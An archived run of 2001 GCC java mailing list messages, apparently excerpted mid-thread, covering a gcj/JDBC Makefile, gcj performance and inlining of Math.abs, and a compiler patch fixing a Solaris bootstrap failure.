DatabaseTester.java (grr. Evolution wraps that line.) The code file is an attachment to a previous post. I suspect that I could simply have setup the classpath variable to find the file but I've never understood the classpath variable cleanly. (For anyone, checking this against a blackdown java setup, to use the javac compiler, put the jdbc7.0-1.2.jar in the ext/ folder as in: /usr/local/j2sdk1.3.0/jre/lib/ext/jdbc7.0-1.2.jar ) That's all. It's actually quite clean. I use a Makefile that looks like this: #A makefile for both gcj and javc gcj: gcj --main=DatabaseTester -o DatabaseTester jdbc7.0-1.2.jar DatabaseTester.java # The above should be a single line, evolution is word wrapping it. gcjrun: ./DatabaseTester gcjdoc: doxygen docs/ clean: rm -f *.class *~ \#*\# DatabaseTester.java javac: /usr/local/j2sdk1.3.0/bin/javac DatabaseTester.java java: /usr/local/j2sdk1.3.0/bin/java DatabaseTester #end of makefile. I hope that helps anyone who is interested in playing with this. cheers, adrian On 28 Jul 2001 14:19:26 -0600, Tom Tromey wrote: > >>>>> "Adrian" == Adrian Vance Custer writes: > > Adrian> Beautiful! Another late night hiccup. This is really good > Adrian> news, first that gcj supports jdbc and second that it does so > Adrian> this transparently. > > You're using it with Postgresql? > Was it hard to build the Postgres JDBC library? > Let us know how it works out for you. > I don't know how much the java.sql in libgcj has been tested. > I'm definitely interested in how well it works, and also how well it > interacts with Postgres. > > Tom > From java-return-6638-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 00:34:28 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 25533 invoked by alias); 30 Jul 2001 00:34:28 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 25513 invoked from network); 30 Jul 2001 00:34:26 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 30 Jul 2001 00:34:26 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6U0aKW04164; Mon, 30 Jul 2001 12:36:21 +1200 Message-ID: <3B64AC51.67EDB7A@waitaki.otago.ac.nz> Date: Mon, 30 Jul 2001 12:37:37 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: Jeff Sturm CC: java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff Sturm wrote: > I built one application library at -O0, -O2 and -O3 with the patch below, > and at -O2 unpatched for comparison. > > text data bss dec hex filename > 1659369 247180 704 1907253 1d1a35 libjacl-O0.so > 2474525 243612 704 2718841 297c79 libjacl-O2-unpatched.so > 1354881 237836 704 1593421 18504d libjacl-O2.so > 1418826 236272 704 1655802 1943fa libjacl-O3.so I applied this patch and found it made no difference to the size of a libgcj built with -O2. Any ideas why? regards Bryce. From java-return-6639-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 03:34:12 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 27023 invoked by alias); 30 Jul 2001 03:34:09 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 26993 invoked from network); 30 Jul 2001 03:34:07 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 30 Jul 2001 03:34:07 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id XAA32226; Sun, 29 Jul 2001 23:37:20 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Sun, 29 Jul 2001 23:37:20 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Bryce McKinlay cc: java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 In-Reply-To: <3B64AC51.67EDB7A@waitaki.otago.ac.nz> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 30 Jul 2001, Bryce McKinlay wrote: > > > I built one application library at -O0, -O2 and -O3 with the patch below, > > and at -O2 unpatched for comparison. > > > > text data bss dec hex filename > > 1659369 247180 704 1907253 1d1a35 libjacl-O0.so > > 2474525 243612 704 2718841 297c79 libjacl-O2-unpatched.so > > 1354881 237836 704 1593421 18504d libjacl-O2.so > > 1418826 236272 704 1655802 1943fa libjacl-O3.so > > I applied this patch and found it made no difference to the size of a libgcj > built with -O2. Any ideas why? I forgot to mention I compiled the entire app in one pass, i.e.: gcj -O2 -fPIC -shared $(srcs) -o libjacl.so otherwise inlining across classes does not yet work. I'd like to try building libgcj this way, perhaps into one object per package. BTW, I find the backend tends to ICE when inlining large packages like this. Below is a possible fix to duplicate_eh_regions(): Index: except.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/except.c,v retrieving revision 1.143.2.13 diff -u -r1.143.2.13 except.c --- except.c 2001/06/08 22:55:33 1.143.2.13 +++ except.c 2001/07/30 03:30:56 @@ -1448,8 +1448,10 @@ cur->inner = root; for (i = 1; i <= ifun_last_region_number; ++i) - if (n_array[i]->outer == NULL) - n_array[i]->outer = cur; + { + if (n_array[i] && n_array[i]->outer == NULL) + n_array[i]->outer = cur; + } } else { From java-return-6640-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 09:12:57 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12627 invoked by alias); 30 Jul 2001 09:12:56 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12560 invoked from network); 30 Jul 2001 09:12:55 -0000 Received: from unknown (HELO remover.netpd.com) (213.219.36.26) by sourceware.cygnus.com with SMTP; 30 Jul 2001 09:12:55 -0000 Received: from [213.219.36.26] (unknown [213.219.36.26]) by remover.netpd.com (Postfix) with ESMTP id A1B62144395 for ; Mon, 30 Jul 2001 10:18:29 +0100 (BST) Date: Mon, 30 Jul 2001 10:18:29 +0100 (BST) From: Bill Bland Reply-To: wjb@netpd.com To: java@gcc.gnu.org Subject: Help with performance issues. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, We were having problems with the performance of our java application under sun's jdk1.3 (using Mandrake linux 8 on an i686). I decided to try gcj to see if it would run faster. I got the source for gcc 3.0 and followed the installation instructions, and after a few tweeks (took out some awt stuff) it compiled our application. Unfortunately it now runs slower :-( I looked at the faq for this, and at the thread "gcj performance on Solaris 2.6" and I managed to get slightly better performance by giving gcj a few flags, but it still runs about 10% slower than it did with jdk1.3 I'm compiling with: gcj -static -O3 --no-bounds-checking -funroll-loops -finline-functions -fkeep-inline-functions -march=i686 -malign-double --main=myprog -o myprog *.java I'm not sure if some of these flags are redundant (probably the compiler already knows it's running on an i686 - just wanted to make sure it doesn't compile for i386). To give you an idea of what the bulk (in terms of cpu cycles) of our code does, we have a class: public class ourclass { ourclass next; ourclass tempnext; int id; int data[]; int data_offset; int error; } The code spends most of it's time in various loops that look roughly like: while( list != null ) { for( int i=list.data_offset; i < MAX && Math.abs(list.data[i]-input[i]) < ERR; i++ ) ; if( i==MAX ) return list; list = list.tempnext; } So most of the code is tracing lists and accessing array elements. The thing that makes the code slow is that we typically have lists of length around 320,000 elements and the arrays are typically around 1000 elements long. This is unavoidable. I can't think of anything obvious (e.g. allocating and de-allocating lots of small objects) that would be causing our code to run slowly when compiled with gcj, but it still does! I'd be very greatful for any suggestions anyone might have. Thanks in advance, William Bland. From java-return-6641-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 12:31:18 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 30891 invoked by alias); 30 Jul 2001 12:31:14 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 30851 invoked from network); 30 Jul 2001 12:31:10 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 30 Jul 2001 12:31:10 -0000 Received: from locutus (locutus.cygnus.com [205.180.230.91]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with SMTP id FAA26345; Mon, 30 Jul 2001 05:30:55 -0700 (PDT) Message-ID: <015c01c1182a$b2676c60$5be6b4cd@cygnus.com> From: "Anthony Green" To: , References: Subject: Re: Help with performance issues. Date: Sun, 29 Jul 2001 05:33:33 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Bill wrote: > The code spends most of it's time in various loops that look roughly like: > > while( list != null ) { > for( int i=list.data_offset; > i < MAX && Math.abs(list.data[i]-input[i]) < ERR; > i++ ) > ; Sun's JIT is almost certainly inlining Math.abs() and we probably aren't. Try replacing this with a static final method in your class to see if it gets inlined (put it before this method in your class definition). It seems like gcj should be able to replace Math.abs() with __builtin_abs in this case. Does anybody think otherwise? AG From java-return-6642-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 15:05:36 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4512 invoked by alias); 30 Jul 2001 15:05:35 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4361 invoked from network); 30 Jul 2001 15:05:28 -0000 Received: from unknown (HELO vexpert.dbai.tuwien.ac.at) (128.130.111.12) by sourceware.cygnus.com with SMTP; 30 Jul 2001 15:05:28 -0000 Received: from taygeta (taygeta [128.130.111.77]) by vexpert.dbai.tuwien.ac.at (8.11.1/8.11.1) with ESMTP id f6UF5GO06037; Mon, 30 Jul 2001 17:05:16 +0200 (MET DST) Date: Mon, 30 Jul 2001 17:05:16 +0200 (CEST) From: Gerald Pfeifer To: Jan Hubicka , Richard Henderson cc: , Subject: Bootstrap failure: element 1863 out of bounds in merge_blocks_nomove, at flow.c:2887 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Jan, RTH, I'm afraid you've been the last ones touching these parts of the compiler? We have a new bootstrap failure for a plain build on sparc-sun-solaris2.8: stage1/xgcc -Bstage1/ -B/sw/test/gcc/SunOS/sparc-sun-solaris2.8/bin/ -c -DIN_GCC -g -O2 -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -DHAVE_CONFIG_H -I. -Ijava -I/sw/test/gcc/cvs/gcc -I/sw/test/gcc/cvs/gcc/java -I/sw/test/gcc/cvs/gcc/config -I/sw/test/gcc/cvs/gcc/../include /sw/test/gcc/cvs/gcc/java/jcf-dump.c -o java/jcf-dump.o /sw/test/gcc/cvs/gcc/java/jcf-dump.c: In function `main': /sw/test/gcc/cvs/gcc/java/jcf-dump.c:1047: Virtual array basic_block_for_insn[1851]: element 1863 out of bounds in merge_blocks_nomove, at flow.c:2887 Please submit a full bug report, with preprocessed source if appropriate. See for instructions. gmake[2]: *** [java/jcf-dump.o] Error 1 gmake[2]: Leaving directory `/files/pfeifer/OBJ-0730-1408/gcc' gmake[1]: *** [stage2_build] Error 2 gmake[1]: Leaving directory `/files/pfeifer/OBJ-0730-1408/gcc' gmake: *** [bootstrap] Error 2 Gerald From java-return-6643-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 15:17:13 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 11269 invoked by alias); 30 Jul 2001 15:17:12 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 11184 invoked from network); 30 Jul 2001 15:17:08 -0000 Received: from unknown (HELO atrey.karlin.mff.cuni.cz) (195.113.31.123) by sourceware.cygnus.com with SMTP; 30 Jul 2001 15:17:08 -0000 Received: (from hubicka@localhost) by atrey.karlin.mff.cuni.cz (8.9.3/8.9.3/Debian 8.9.3-21) id RAA11599; Mon, 30 Jul 2001 17:15:17 +0200 Date: Mon, 30 Jul 2001 17:15:16 +0200 From: Jan Hubicka To: Gerald Pfeifer Cc: Jan Hubicka , Richard Henderson , gcc-bugs@gcc.gnu.org, java@gcc.gnu.org Subject: Re: Bootstrap failure: element 1863 out of bounds in merge_blocks_nomove, at flow.c:2887 Message-ID: <20010730171516.I31346@atrey.karlin.mff.cuni.cz> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.15i In-Reply-To: ; from pfeifer@dbai.tuwien.ac.at on Mon, Jul 30, 2001 at 05:05:16PM +0200 > Jan, RTH, I'm afraid you've been the last ones touching these parts of > the compiler? > > We have a new bootstrap failure for a plain build on sparc-sun-solaris2.8: I've got equivalent bugreport some time ago. I am just giong to test sparc with following patch. If you can do it yourself easilly, please let me know Mon Jul 30 16:32:49 CEST 2001 Jan Hubicka * toplev.c (rest_of_compilation): Recompute block_for_insn before post-reload cfg_cleanup. * function.c (thread_prologue_epilogue_insns): Call set_block_for_new_insns when emitting prologue directly. Index: toplev.c =================================================================== RCS file: /cvs/gcc/egcs/gcc/toplev.c,v retrieving revision 1.501 diff -c -3 -p -r1.501 toplev.c *** toplev.c 2001/07/29 17:01:53 1.501 --- toplev.c 2001/07/30 14:32:20 *************** rest_of_compilation (decl) *** 3473,3491 **** verify_flow_info (); #endif /* If optimizing, then go ahead and split insns now. */ if (optimize > 0) split_all_insns (0); ! cleanup_cfg (0); /* On some machines, the prologue and epilogue code, or parts thereof, can be represented as RTL. Doing so lets us schedule insns between it and the rest of the code and also allows delayed branch scheduling to operate in the epilogue. */ thread_prologue_and_epilogue_insns (insns); - - compute_bb_for_insn (get_max_uid ()); if (optimize) { --- 3473,3491 ---- verify_flow_info (); #endif + compute_bb_for_insn (get_max_uid ()); + /* If optimizing, then go ahead and split insns now. */ if (optimize > 0) split_all_insns (0); ! cleanup_cfg (optimize ? CLEANUP_EXPENSIVE : 0); /* On some machines, the prologue and epilogue code, or parts thereof, can be represented as RTL. Doing so lets us schedule insns between it and the rest of the code and also allows delayed branch scheduling to operate in the epilogue. */ thread_prologue_and_epilogue_insns (insns); if (optimize) { Index: function.c =================================================================== RCS file: /cvs/gcc/egcs/gcc/function.c,v retrieving revision 1.285 diff -c -3 -p -r1.285 function.c *** function.c 2001/07/29 02:10:41 1.285 --- function.c 2001/07/30 14:32:31 *************** thread_prologue_and_epilogue_insns (f) *** 7226,7232 **** inserted = 1; } else ! emit_insn_after (seq, f); } #endif --- 7226,7233 ---- inserted = 1; } else ! set_block_for_new_insns (emit_insn_after (seq, f), ! ENTRY_BLOCK_PTR->succ); } #endif From java-return-6644-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 15:41:19 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 24041 invoked by alias); 30 Jul 2001 15:41:19 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 23976 invoked from network); 30 Jul 2001 15:41:15 -0000 Received: from unknown (HELO deimos.hpl.hp.com) (192.6.19.190) by sourceware.cygnus.com with SMTP; 30 Jul 2001 15:41:15 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by deimos.hpl.hp.com (8.9.3 (PHNE_18546)/HPL-PA Relay) with ESMTP id IAA29558; Mon, 30 Jul 2001 08:40:47 -0700 (PDT) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id f6UFfDX01597; Mon, 30 Jul 2001 08:41:13 -0700 (PDT) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Mon, 30 Jul 2001 08:41:13 -0700 (Pacific Daylight Time) Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2650.21) id ; Mon, 30 Jul 2001 08:41:12 -0700 Message-ID: <140D21516EC2D3119EE7009027876644049B5F71@hplex1.hpl.hp.com> From: "Boehm, Hans" To: "'Anthony Green'" , wjb@netpd.com, java@gcc.gnu.org Subject: RE: Help with performance issues. Date: Mon, 30 Jul 2001 08:41:11 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" > Sun's JIT is almost certainly inlining Math.abs() and we > probably aren't. I checked that we aren't. Things are worsened by the fact that Math.abs() appears to call _Jv_InitClass. Among other things, I count 4 call instructions to compute an absolute value: 1) call Math.abs() 2) x86 call to get PC value in register for PIC code. 3) Call _Jv_InitClass 4) x86 call to get PC value in register for PIC code, this time for _Jv_InitClass Is there any reason to call _Jv_InitClass on bultin classes like java.lang.Math? > Try replacing this with a static final method in your class > to see if it > gets inlined (put it before this method in your class definition). > > It seems like gcj should be able to replace Math.abs() with > __builtin_abs in > this case. Does anybody think otherwise? > That would be nice. Another problem that we've sometimes seen in code like this is that the array null pointer checks don't completely disappear, at least not on Itanium. On 32-bit machines this may be hard to avoid. On 64-bit machines, it might be possible to arrange that there is nothing mapped within the first 32GB of address space, so that accesses through null array pointers are also guaranteed to result in an identifiable SIGSEGV. Does this make sense? Hans From java-return-6645-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 16:08:15 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13174 invoked by alias); 30 Jul 2001 16:08:15 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13104 invoked from network); 30 Jul 2001 16:08:11 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 30 Jul 2001 16:08:11 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA32743; Mon, 30 Jul 2001 10:08:04 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id KAA14247; Mon, 30 Jul 2001 10:35:59 -0600 To: "Anthony Green" Cc: , Subject: Re: Help with performance issues. References: <015c01c1182a$b2676c60$5be6b4cd@cygnus.com> X-Zippy: HERE!! Put THIS on!! I'm in CHARGE!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 30 Jul 2001 10:35:59 -0600 In-Reply-To: "Anthony Green"'s message of "Sun, 29 Jul 2001 05:33:33 -0700" Message-ID: <87ofq2tlw0.fsf@creche.redhat.com> Lines: 14 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Anthony" == Anthony Green writes: Anthony> It seems like gcj should be able to replace Math.abs() with Anthony> __builtin_abs in this case. Does anybody think otherwise? I think we could consider doing this for any final method with fixed semantics. For instance, anything in java.lang.Math (taking strictfp concerns into account, of course). If other final methods are important for performance, we could inline those too. For instance, there might be situations where inlining System.arraycopy makes sense. Implementing this probably wouldn't be very hard. It would make a nice project for someone wanting to do some gcj front-end hacking. Tom From java-return-6646-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 16:13:47 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 18268 invoked by alias); 30 Jul 2001 16:13:47 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 18164 invoked from network); 30 Jul 2001 16:13:42 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 30 Jul 2001 16:13:42 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA01386; Mon, 30 Jul 2001 10:13:33 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id KAA14276; Mon, 30 Jul 2001 10:41:27 -0600 To: "Boehm, Hans" Cc: "'Anthony Green'" , wjb@netpd.com, java@gcc.gnu.org Subject: Re: Help with performance issues. References: <140D21516EC2D3119EE7009027876644049B5F71@hplex1.hpl.hp.com> X-Zippy: Then, it's off to RED CHINA!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 30 Jul 2001 10:41:26 -0600 In-Reply-To: "Boehm, Hans"'s message of "Mon, 30 Jul 2001 08:41:11 -0700" Message-ID: <87lml6tlmx.fsf@creche.redhat.com> Lines: 18 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Hans" == Boehm, Hans writes: Hans> Is there any reason to call _Jv_InitClass on bultin classes like Hans> java.lang.Math? The class has to be initialized. So we must call _Jv_InitClass for it at some point. However, for certain classes it would be reasonable to explicitly initialize them when starting the runtime, and have the compiler know not to emit init calls for those classes. Looking at java.lang.Math, I don't see anything in there really requiring initialization. In cases like this it would be reasonable for the compiler to emit the class pre-initialized, and then omit any _Jv_InitClass calls forit. Tom From java-return-6647-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 16:18:33 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 21395 invoked by alias); 30 Jul 2001 16:18:33 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21368 invoked from network); 30 Jul 2001 16:18:31 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 30 Jul 2001 16:18:31 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id JAA15093; Mon, 30 Jul 2001 09:18:26 -0700 (PDT) From: Anthony Green Received: (green@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id JAA17684; Mon, 30 Jul 2001 09:18:26 -0700 Date: Mon, 30 Jul 2001 09:18:26 -0700 Message-Id: <200107301618.JAA17684@fencer.cygnus.com> To: tromey@redhat.com Subject: Re: Help with performance issues. Cc: , Tom wrote: > semantics. For instance, anything in java.lang.Math (taking strictfp > concerns into account, of course). Is strictfp still a consideration for java.lang.Math? Isn't there something like java.lang.StrictMath now? ( strictfp version of java.lang.Math) AG From java-return-6648-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 16:21:24 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 23078 invoked by alias); 30 Jul 2001 16:21:23 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 23041 invoked from network); 30 Jul 2001 16:21:22 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 30 Jul 2001 16:21:22 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id MAA00795; Mon, 30 Jul 2001 12:22:51 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Mon, 30 Jul 2001 12:22:50 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: "Boehm, Hans" cc: "'Anthony Green'" , wjb@netpd.com, java@gcc.gnu.org Subject: RE: Help with performance issues. In-Reply-To: <140D21516EC2D3119EE7009027876644049B5F71@hplex1.hpl.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 30 Jul 2001, Boehm, Hans wrote: > Another problem that we've sometimes seen in code like this is that the > array null pointer checks don't completely disappear, at least not on > Itanium. On 32-bit machines this may be hard to avoid. On 64-bit machines, > it might be possible to arrange that there is nothing mapped within the > first 32GB of address space, so that accesses through null array pointers > are also guaranteed to result in an identifiable SIGSEGV. Does this make > sense? If I'm not mistaken, Java array indexes are signed int, so the max array size is really 16GB. But that sounds OK. On alpha, stack grows download below .text so I'd guess a hard stack limit would be necessary. Jeff From java-return-6649-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 16:24:16 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 24961 invoked by alias); 30 Jul 2001 16:24:14 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 24889 invoked from network); 30 Jul 2001 16:24:06 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 30 Jul 2001 16:24:06 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA03100; Mon, 30 Jul 2001 10:24:02 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id KAA14386; Mon, 30 Jul 2001 10:51:56 -0600 To: Anthony Green Cc: , Subject: Re: Help with performance issues. References: <200107301618.JAA17684@fencer.cygnus.com> X-Zippy: OVER the underpass! UNDER the overpass! Around the FUTURE and BEYOND REPAIR!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 30 Jul 2001 10:51:56 -0600 In-Reply-To: Anthony Green's message of "Mon, 30 Jul 2001 09:18:26 -0700" Message-ID: <87d76itl5f.fsf@creche.redhat.com> Lines: 9 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Anthony" == Anthony Green writes: Anthony> Is strictfp still a consideration for java.lang.Math? Isn't Anthony> there something like java.lang.StrictMath now? ( strictfp Anthony> version of java.lang.Math) Yes, oops. Thanks. Tom From java-return-6650-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 16:33:51 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28204 invoked by alias); 30 Jul 2001 16:33:50 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28108 invoked from network); 30 Jul 2001 16:33:37 -0000 Received: from unknown (HELO vexpert.dbai.tuwien.ac.at) (128.130.111.12) by sourceware.cygnus.com with SMTP; 30 Jul 2001 16:33:37 -0000 Received: from taygeta (taygeta [128.130.111.77]) by vexpert.dbai.tuwien.ac.at (8.11.1/8.11.1) with ESMTP id f6UGXKO07262; Mon, 30 Jul 2001 18:33:21 +0200 (MET DST) Date: Mon, 30 Jul 2001 18:33:21 +0200 (CEST) From: Gerald Pfeifer To: Jan Hubicka cc: Richard Henderson , , Subject: Re: Bootstrap failure: element 1863 out of bounds in merge_blocks_nomove, at flow.c:2887 In-Reply-To: <20010730171516.I31346@atrey.karlin.mff.cuni.cz> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 30 Jul 2001, Jan Hubicka wrote: >> We have a new bootstrap failure for a plain build on sparc-sun-solaris2.8: > I've got equivalent bugreport some time ago. > I am just giong to test sparc with following patch. If you can do it > yourself easilly, please let me know > > Mon Jul 30 16:32:49 CEST 2001 Jan Hubicka > * toplev.c (rest_of_compilation): Recompute block_for_insn > before post-reload cfg_cleanup. > * function.c (thread_prologue_epilogue_insns): > Call set_block_for_new_insns when emitting prologue directly. Yes, this indeed makes the bootstrap reach stage3 on sparc-sun-solaris2.8, that is, it seems to solve the problem I reported. Gerald From java-return-6651-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 16:52:42 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 8168 invoked by alias); 30 Jul 2001 16:52:42 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 8073 invoked from network); 30 Jul 2001 16:52:36 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 30 Jul 2001 16:52:36 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 77AB9ABAA1; Mon, 30 Jul 2001 17:52:34 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id 